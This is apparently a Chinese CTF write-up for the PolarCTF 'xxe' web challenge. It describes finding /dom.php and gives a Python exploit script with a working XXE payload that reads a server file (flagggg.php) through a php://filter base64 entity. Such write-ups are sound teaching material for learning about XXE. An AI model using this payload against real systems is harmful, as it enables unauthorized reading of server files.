Polar Web【中等】xxe

Polar Web【中等】xxe

Contents

思路&探索

如题目所示,此题考查XXE漏洞,具体细节需要逐步深挖

  1. 打开站点,提示了flag所在的文件,点击按钮,可见php的配置信息,搜索xml发现该服务可读取外部XML实体
  2. 由于并不清楚具体的注入路径,因此先对站点进行扫描,发现存在/dom.php路径
  3. 进入该路径发现下图中的报错信息,根据XXE漏洞的操作方式,采用POST方法将构造好的XML字符串传入/dom.php 站点,得到一串经由base64编码的字符串,解码后得到flag
  • 本文采用手动和脚本两种方式来实现解答


  • 在使用HackBar传入时,经测试使用下面的模式来传数据才能生效


EXP

python 复制代码
import requests
import base64


def attack(url, pl):
    resp = requests.post(url, pl).text
    if resp:
    	# 为方便可读,对输出稍作处理
        out = resp[resp.index('textContent') + 16:resp.rindex(')')]
        out = base64.b64decode(out.encode()).decode()
        out = out[out.index('flag'):]
        print(out)
    else:
        print("Nothing...")


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/dom.php'
    payload = '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE polar [
        <!ELEMENT name ANY >
        <!ENTITY polar SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
        ]>
<name>&polar;</name>
    '''
    attack(u, payload)

运行&总结

  • 本题考查XXE漏洞的基本原理以及渗透方式,需要对XML文档结构和XML实体的引入方式有所了解
  • 在构造的外部XML实体中,采用的是php://filter/read(伪协议读取模块)中的base64编码器实现对服务器文件flagggg.php的读取

敬,不完美的明天

相关推荐
叶落阁主5 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全